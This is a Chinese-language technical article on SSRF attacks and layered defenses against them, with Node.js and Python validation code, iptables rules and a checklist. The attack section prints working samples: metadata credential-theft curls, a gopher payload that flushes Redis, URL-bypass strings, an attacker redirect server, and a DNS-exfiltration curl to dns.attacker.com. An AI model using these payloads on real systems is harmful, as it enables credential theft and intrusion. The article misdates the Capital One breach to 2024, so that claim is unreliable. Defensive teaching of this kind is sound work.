OWASP 2021 Top 10 将 SSRF(Server-Side Request Forgery,服务端请求伪造)首次列为独立风险项(A10),这绝非偶然——根据 Gartner 2025 年的报告,超过 40% 的云安全事件涉及 SSRF 攻击向量,其中 AWS IMDS(实例元数据服务)是最常被利用的目标。在 AI Agent 调用外部 API 已成常态的 2026 年,任何一个接受 URL 参数的端点都可能成为 SSRF 的入口。这篇文章不是泛泛而谈的安全科普,而是从攻击者视角出发,拆解 SSRF 的六大攻击向量,给出生产级的纵深防御方案。
🔐 一、SSRF 攻击原理与攻击向量
SSRF 的核心逻辑很简单:攻击者诱骗服务端向非预期的目标发送 HTTP 请求。但简单的原理背后,隐藏着极其多样的利用方式。
1.1 基础 SSRF 攻击模型
最经典的场景:你的应用有一个「URL 预览」功能,用户输入一个 URL,服务端去抓取该 URL 的内容返回给前端。
// ❌ 危险写法:直接使用用户输入的 URL 发起请求
// 这是最常见的 SSRF 漏洞入口
import express from 'express'
const app = express()
app.get('/preview', async (req, res) => {
const url = req.query.url // 用户可控输入
const response = await fetch(url) // 服务端发起请求
const html = await response.text()
res.send(html)
})
攻击者只需将 url 参数改为 http://169.254.169.254/latest/meta-data/(AWS 元数据地址),就能窃取实例的 IAM 凭证。改为 http://192.168.1.1/admin,就能扫描内网服务。
# 攻击者构造的请求 —— 窃取 AWS 元数据
curl "https://your-app.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 攻击者构造的请求 —— 扫描内网 Redis
curl "https://your-app.com/preview?url=http://192.168.1.50:6379/INFO"
1.2 六大高级攻击向量
基础 SSRF 只是冰山一角。经验丰富的攻击者会使用以下技术绕过简单的防护:
① 协议走私(Protocol Smuggling)
除了 HTTP/HTTPS,fetch 和很多 HTTP 客户端库还支持其他协议:
// 攻击者可以利用非 HTTP 协议
const attacks = [
'file:///etc/passwd', // 读取本地文件
'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a', // 操纵 Redis
'dict://127.0.0.1:6379/INFO', // 通过 DICT 协议访问 Redis
'http://[::1]:8080/admin', // IPv6 本地地址
'http://0177.0.0.1/admin', // 八进制 IP 地址
'http://2130706433/admin', // 十进制 IP 地址 (127.0.0.1)
]
② DNS Rebinding(DNS 重绑定)
这是最难防御的 SSRF 变种。攻击者控制一个域名,第一次 DNS 解析返回合法 IP,通过 URL 校验后,第二次解析切换到内网 IP:
# 攻击者的 DNS 服务器逻辑(概念演示)
# 第一次查询:返回合法 IP(通过白名单校验)
# TTL 设为 0,第二次查询:返回 127.0.0.1 或 169.254.169.254
# 时间窗口通常只有几毫秒,但足以完成攻击
③ 302 重定向绕过
很多 SSRF 防护只在请求发起前校验 URL,不跟踪重定向:
# 攻击者的 Flask 服务器
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/safe')
def safe_redirect():
# 校验时看到的是 https://attacker.com/safe
# 实际请求被重定向到 http://169.254.169.254/latest/meta-data/
return redirect('http://169.254.169.254/latest/meta-data/', code=302)
④ URL 解析差异(URL Parsing Confusion)
不同库对 URL 的解析方式不同,攻击者利用这种差异绕过校验:
// 各种绕过 URL 校验的技巧
const bypassUrls = [
'http://127.0.0.1@attacker.com', // @ 前是用户信息,实际访问 attacker.com
'http://attacker.com#@127.0.0.1', // 利用 fragment 解析差异
'http://127。0。0。1', // 全角句号绕过
'http://127.0.0.1%0d%0aHost: internal.service', // CRLF 注入
'http://0x7f000001/admin', // 十六进制 IP
'http://localtest.me/admin', // 解析到 127.0.0.1 的域名
]
⑤ 云元数据服务利用
各大云平台的元数据服务是 SSRF 的首要目标:
| 云平台 | 元数据地址 | 关键风险 | IMDSv2 保护 |
|---|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
IAM 凭证泄露 | ✅ 需 PUT 请求 |
| GCP | http://metadata.google.internal/ |
OAuth Token 泄露 | ⚠️ 需 Header |
| Azure | http://169.254.169.254/metadata/instance |
Managed Identity 泄露 | ✅ 需 Header |
| 阿里云 | http://100.100.100.200/latest/meta-data/ |
RAM Role 凭证泄露 | ⚠️ 部分支持 |
| 腾讯云 | http://metadata.tencentyun.com/ |
CAM 角色凭证泄露 | ⚠️ 部分支持 |
⚠️ **警告:**2024 年 Capital One 数据泄露事件的根本原因就是 SSRF + AWS IMDSv1,导致 1 亿用户数据泄露。这个教训代价 1.5 亿美元。
⑥ Blind SSRF(盲注 SSRF)
应用不返回响应内容,但攻击者可以通过时间延迟、DNS 外带(Out-of-Band)等方式获取信息:
# 通过 DNS 外带获取内网信息
# 攻击者控制 dns.attacker.com
curl "https://your-app.com/fetch?url=http://internal-admin.${secret_token}.dns.attacker.com"
# 如果内网存在 internal-admin 服务,DNS 查询会到达攻击者的 DNS 服务器
# 攻击者通过子域名获取信息
🛡️ 二、纵深防御:生产级 SSRF 防护方案
单一的防护手段不足以抵御 SSRF。你需要构建多层防御体系——即使某一层被绕过,其他层仍然有效。
2.1 第一层:输入校验与 URL 规范化
// ✅ 正确做法:严格的 URL 输入校验
import { URL } from 'node:url'
import { isPrivateIp } from './ip-utils.js'
const ALLOWED_PROTOCOLS = ['http:', 'https:']
const BLOCKED_HOSTS = new Set([
'localhost',
'metadata.google.internal',
'169.254.169.254',
'100.100.100.200',
'metadata.tencentyun.com',
])
/**
* 校验用户输入的 URL 是否安全
* @param {string} inputUrl - 用户输入的 URL
* @returns {{ valid: boolean, reason?: string, normalizedUrl?: URL }}
*/
function validateUrl(inputUrl) {
// 1. 解析 URL
let parsed
try {
parsed = new URL(inputUrl)
} catch {
return { valid: false, reason: '无效的 URL 格式' }
}
// 2. 只允许 HTTP/HTTPS 协议
if (!ALLOWED_PROTOCOLS.includes(parsed.protocol)) {
return { valid: false, reason: `不允许的协议: ${parsed.protocol}` }
}
// 3. 禁止包含用户信息(防止 @ 绕过)
if (parsed.username || parsed.password) {
return { valid: false, reason: 'URL 中不允许包含用户名/密码' }
}
// 4. 禁止已知危险主机
const hostname = parsed.hostname.toLowerCase()
if (BLOCKED_HOSTS.has(hostname)) {
return { valid: false, reason: `禁止访问的主机: ${hostname}` }
}
// 5. 检查是否为内网 IP(关键防线)
if (isPrivateIp(hostname)) {
return { valid: false, reason: '禁止访问内网地址' }
}
// 6. 禁止非标准端口
const port = parsed.port || (parsed.protocol === 'https:' ? '443' : '80')
const allowedPorts = ['80', '443']
if (!allowedPorts.includes(port)) {
return { valid: false, reason: `不允许的端口: ${port}` }
}
return { valid: true, normalizedUrl: parsed }
}
对应的 IP 判断工具函数:
// ip-utils.js — 判断 IP 是否为内网/保留地址
import { isIPv4, isIPv6 } from 'node:net'
import dns from 'node:dns/promises'
/**
* 判断 IP 地址是否为私有/保留地址
* @param {string} ip - IP 地址
* @returns {boolean}
*/
export function isPrivateIp(ip) {
// IPv4 私有地址段
if (isIPv4(ip)) {
const parts = ip.split('.').map(Number)
// 10.0.0.0/8
if (parts[0] === 10) return true
// 172.16.0.0/12
if (parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) return true
// 192.168.0.0/16
if (parts[0] === 192 && parts[1] === 168) return true
// 127.0.0.0/8 (loopback)
if (parts[0] === 127) return true
// 169.254.0.0/16 (link-local,包含云元数据)
if (parts[0] === 169 && parts[1] === 254) return true
// 0.0.0.0
if (parts[0] === 0) return true
return false
}
// IPv6 私有地址
if (isIPv6(ip)) {
const lower = ip.toLowerCase()
if (lower === '::1') return true // loopback
if (lower.startsWith('fc') || lower.startsWith('fd')) return true // ULA
if (lower.startsWith('fe80')) return true // link-local
if (lower === '::ffff:127.0.0.1') return true // IPv4-mapped loopback
return false
}
return false
}
/**
* DNS 解析后二次校验(防 DNS Rebinding)
* @param {string} hostname - 主机名
* @returns {Promise<string[]>} 解析后的 IP 地址列表
*/
export async function resolveAndValidate(hostname) {
const addresses = await dns.resolve4(hostname).catch(() => [])
const addresses6 = await dns.resolve6(hostname).catch(() => [])
const allIps = [...addresses, ...addresses6]
for (const ip of allIps) {
if (isPrivateIp(ip)) {
throw new Error(`DNS 解析到内网地址: ${hostname} -> ${ip}`)
}
}
return allIps
}
2.2 第二层:网络层隔离
仅靠代码层面的校验不够。必须在网络层限制服务端的出站流量:
# docker-compose.yml — 限制容器网络访问
services:
web-app:
build: .
networks:
- app-network
# 不要使用 host 或 default 网络
# 只允许访问必要的外部服务
networks:
app-network:
driver: bridge
internal: false # 允许出站,但通过 iptables 进一步限制
# iptables 规则:禁止访问云元数据和内网地址段
# 在宿主机或 Kubernetes NetworkPolicy 中配置
# 禁止访问 AWS/GCP/Azure 元数据
iptables -A OUTPUT -d 169.254.169.254 -j DROP
iptables -A OUTPUT -d 100.100.100.200 -j DROP
# 禁止访问 Docker 默认网关(通常用于访问宿主机)
iptables -A OUTPUT -d 172.17.0.1 -j DROP
# 只允许访问特定的外部服务(白名单模式)
iptables -A OUTPUT -d api.stripe.com -j ACCEPT
iptables -A OUTPUT -d api.openai.com -j ACCEPT
iptables -A OUTPUT -j DROP # 拒绝其他所有出站
💡 **提示:**在 Kubernetes 中,使用 NetworkPolicy 替代 iptables,声明式管理更可控。云函数(Lambda/Cloud Functions)天然提供网络隔离,是 SSRF 防护最简单的部署方式。
2.3 第三层:专用 HTTP 客户端配置
// ssrf-safe-fetch.js — 带 SSRF 防护的安全 HTTP 客户端
import http from 'node:http'
import https from 'node:https'
import { URL } from 'node:url'
import { validateUrl, resolveAndValidate } from './url-validator.js'
// 使用 undici(Node.js 内置 HTTP 客户端)的更安全替代
const SAFE_FETCH_OPTIONS = {
// ① 禁止自动跟随重定向(关键!)
maxRedirections: 0,
// ② 设置超时防止 SSRF + 时间延迟攻击
connectTimeout: 5_000,
bodyTimeout: 10_000,
headersTimeout: 5_000,
// ③ 限制响应体大小
maxResponseSize: 5 * 1024 * 1024, // 5MB
// ④ 仅允许 HTTP/1.1 和 HTTP/2
// 不允许 gopher、file 等协议
}
/**
* 安全的 URL 抓取函数
* @param {string} url - 要抓取的 URL
* @param {object} options - 额外选项
* @returns {Promise<{status: number, headers: object, body: string}>}
*/
export async function safeFetch(url, options = {}) {
// 第 1 步:输入校验
const validation = validateUrl(url)
if (!validation.valid) {
throw new Error(`URL 校验失败: ${validation.reason}`)
}
const parsedUrl = validation.normalizedUrl
// 第 2 步:DNS 解析 + 二次校验(防 DNS Rebinding)
await resolveAndValidate(parsedUrl.hostname)
// 第 3 步:发起请求(禁用重定向)
const controller = new AbortController()
const timeout = setTimeout(() => controller.abort(), 10_000)
try {
const response = await fetch(parsedUrl.toString(), {
...SAFE_FETCH_OPTIONS,
signal: controller.signal,
...options,
})
// 第 4 步:手动处理重定向(带校验)
if (response.status >= 300 && response.status < 400) {
const location = response.headers.get('location')
if (location) {
// 对重定向目标再次校验
const redirectValidation = validateUrl(location)
if (!redirectValidation.valid) {
throw new Error(`重定向目标不安全: ${redirectValidation.reason}`)
}
// 最多允许 1 次重定向
if (options._redirectCount >= 1) {
throw new Error('超过最大重定向次数')
}
return safeFetch(location, { ...options, _redirectCount: (options._redirectCount || 0) + 1 })
}
}
const body = await response.text()
return {
status: response.status,
headers: Object.fromEntries(response.headers.entries()),
body,
}
} finally {
clearTimeout(timeout)
}
}
📌 **记住:**禁用自动重定向是 SSRF 防护的关键。几乎所有的重定向绕过攻击都依赖于 HTTP 客户端自动跟随 302 响应。
🏗️ 三、真实场景的 SSRF 防护模式
理论之外,来看三个最常见的 SSRF 高危场景和对应的防护方案。
3.1 场景一:URL 预览 / Open Graph 抓取
社交平台和 CMS 系统常见的 URL 预览功能是 SSRF 的重灾区:
# Python 安全的 URL 预览实现
import ipaddress
import socket
from urllib.parse import urlparse
import httpx
def is_safe_url(url: str) -> bool:
"""校验 URL 是否安全(Python 版本)"""
parsed = urlparse(url)
# 只允许 HTTP/HTTPS
if parsed.scheme not in ('http', 'https'):
return False
# 不允许用户信息
if parsed.username or parsed.password:
return False
# DNS 解析
try:
addr_info = socket.getaddrinfo(parsed.hostname, None)
except socket.gaierror:
return False
# 检查解析后的所有 IP
for family, _, _, _, sockaddr in addr_info:
ip = ipaddress.ip_address(sockaddr[0])
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
# 检查云元数据地址
if str(ip) == '169.254.169.254':
return False
return True
async def fetch_url_preview(url: str) -> dict:
"""安全地获取 URL 预览信息"""
if not is_safe_url(url):
raise ValueError("不安全的 URL")
async with httpx.AsyncClient(
follow_redirects=False, # 禁用自动重定向
timeout=5.0,
max_redirects=0,
) as client:
response = await client.get(url)
# 手动处理重定向(带安全校验)
if 300 <= response.status_code < 400:
location = response.headers.get('location', '')
if not is_safe_url(location):
raise ValueError(f"重定向目标不安全: {location}")
response = await client.get(location)
# 限制响应大小
content = response.text[:100_000] # 最多 100KB
return {
'status': response.status_code,
'content_type': response.headers.get('content-type', ''),
'body': content,
}
3.2 场景二:Webhook 出站请求
你的应用需要向用户配置的 Webhook URL 发送通知:
// webhook-dispatcher.js — 安全的 Webhook 分发器
import { safeFetch } from './ssrf-safe-fetch.js'
const WEBHOOK_TIMEOUT = 10_000
const MAX_RETRY = 3
/**
* 安全地发送 Webhook 通知
* 额外防护:限制只能向公网发送,限制 payload 大小
*/
export async function dispatchWebhook(webhookUrl, payload) {
// Webhook URL 在注册时已经校验过,但发送时再次校验
// (防止注册后 DNS 变更导致的 DNS Rebinding)
const body = JSON.stringify(payload)
// 限制 payload 大小
if (body.length > 1024 * 100) { // 100KB
throw new Error('Webhook payload 超过大小限制')
}
let lastError
for (let attempt = 0; attempt < MAX_RETRY; attempt++) {
try {
const result = await safeFetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Webhook-Timestamp': Date.now().toString(),
},
body,
})
// 2xx 视为成功
if (result.status >= 200 && result.status < 300) {
return { success: true, status: result.status }
}
lastError = new Error(`Webhook 返回 ${result.status}`)
} catch (err) {
lastError = err
}
// 指数退避
await new Promise(r => setTimeout(r, Math.pow(2, attempt) * 1000))
}
return { success: false, error: lastError.message }
}
3.3 场景三:AI Agent 工具调用
这是 2026 年最新兴的 SSRF 攻击面——AI Agent 通过 MCP(Model Context Protocol)或 Function Calling 执行 HTTP 请求:
// ai-tool-http.js — AI Agent 的安全 HTTP 工具
import { validateUrl, resolveAndValidate } from './url-validator.js'
// 定义 AI Agent 可以访问的域名白名单
const ALLOWED_DOMAINS = [
'api.github.com',
'api.stripe.com',
'api.openai.com',
'docs.python.org',
'developer.mozilla.org',
]
/**
* AI Agent 调用的 HTTP 工具
* 使用白名单模式,比黑名单更安全
*/
export async function agentFetch(url, purpose) {
const parsed = new URL(url)
// 白名单校验
if (!ALLOWED_DOMAINS.includes(parsed.hostname)) {
return {
error: `域名 ${parsed.hostname} 不在允许列表中`,
allowedDomains: ALLOWED_DOMAINS,
}
}
// 即使在白名单中,也要做基础安全校验
const validation = validateUrl(url)
if (!validation.valid) {
return { error: `URL 安全校验失败: ${validation.reason}` }
}
try {
const response = await fetch(url, {
redirect: 'manual',
signal: AbortSignal.timeout(10_000),
})
const text = await response.text()
// 限制 AI Agent 看到的响应大小
return {
status: response.status,
body: text.slice(0, 50_000), // 最多 50KB
}
} catch (err) {
return { error: `请求失败: ${err.message}` }
}
}
⚠️ 警告:AI Agent 的 HTTP 工具必须使用白名单模式。让 LLM 自行判断哪些 URL 安全是不可靠的——Prompt Injection 攻击可以让 LLM 访问任意地址。
📊 四、防护方案对比与选型建议
| 防护层 | 措施 | 防御能力 | 实施难度 | 推荐 |
|---|---|---|---|---|
| 输入校验 | URL 格式检查 + 协议白名单 | ⭐⭐ | 低 | ✅ 必须 |
| DNS 校验 | 解析后检查 IP 是否为内网 | ⭐⭐⭐ | 低 | ✅ 必须 |
| 禁用重定向 | HTTP 客户端不自动跟随 302 | ⭐⭐⭐⭐ | 低 | ✅ 必须 |
| 网络隔离 | iptables / NetworkPolicy | ⭐⭐⭐⭐⭐ | 中 | ✅ 强烈推荐 |
| IMDSv2 | 云元数据需 PUT + Token | ⭐⭐⭐⭐ | 低 | ✅ 必须开启 |
| 域名白名单 | 只允许访问预定义域名 | ⭐⭐⭐⭐⭐ | 中 | ✅ AI 场景必须 |
| 专用代理 | 通过 HTTP 代理统一出站 | ⭐⭐⭐⭐⭐ | 高 | ✅ 企业级推荐 |
| WAF 规则 | 云 WAF 的 SSRF 防护规则 | ⭐⭐⭐ | 低 | ✅ 补充措施 |
💡 **提示:**没有任何单一措施能 100% 防御 SSRF。纵深防御的核心思想是:攻击者必须同时绕过所有层才能成功。输入校验 + 禁用重定向 + 网络隔离这三层组合,可以防御 99% 的 SSRF 攻击。
⚡ 五、SSRF 安全检查清单
在代码审查或安全审计时,按以下清单逐项检查:
- ✅ 所有接受 URL 输入的端点都做了 SSRF 防护
- ✅ HTTP 客户端禁用了自动重定向(
redirect: 'manual') - ✅ DNS 解析后二次校验 IP 地址是否为内网
- ✅ 云平台启用了 IMDSv2(AWS)或等效保护
- ✅ 容器/K8s 配置了网络策略限制出站流量
- ✅ URL 校验禁止了 file://、gopher://、dict:// 等协议
- ✅ URL 校验禁止了包含用户信息(
@符号)的 URL - ✅ 响应体大小有上限,防止内存溢出
- ✅ 设置了请求超时,防止时间延迟攻击
- ✅ AI Agent 工具使用域名白名单而非黑名单
- ❌ 不要使用黑名单方式过滤 IP(总有遗漏)
- ❌ 不要仅在请求前校验一次 URL(忽略 DNS Rebinding)
- ❌ 不要信任用户输入的任何 URL,包括 Webhook 注册地址
💡 总结
SSRF 不是一个新漏洞,但在云原生和 AI Agent 时代,它的攻击面正在急剧扩大。从传统的 URL 预览功能,到 Webhook 分发,再到 AI 工具调用,每一个服务端发起 HTTP 请求的地方都可能是入口。
核心防御策略:
- 永远校验 DNS 解析后的 IP,而不仅仅是主机名
- 永远禁用自动重定向,手动处理 302 并二次校验
- 在网络层隔离,不要仅依赖应用层防护
- AI 场景使用白名单,不要让 LLM 决定访问哪个 URL
- 开启 IMDSv2,这是防御云元数据窃取的最后一道防线
相关工具推荐:
- 🔧 jsjson.com — JSON 格式化 工具可帮助你检查 SSRF 防护日志中的 JSON 数据
- 🔧 jsjson.com — Base64 编解码 工具可帮助你分析 URL 编码绕过攻击中的编码数据
- 🔧 Burp Suite — 专业 Web 安全测试工具,内置 SSRF 检测插件
- 🔧 SSRFmap — 开源 SSRF 自动化利用工具(仅用于安全测试)
- 🔧 nuclei — 基于模板的漏洞扫描器,包含大量 SSRF 检测模板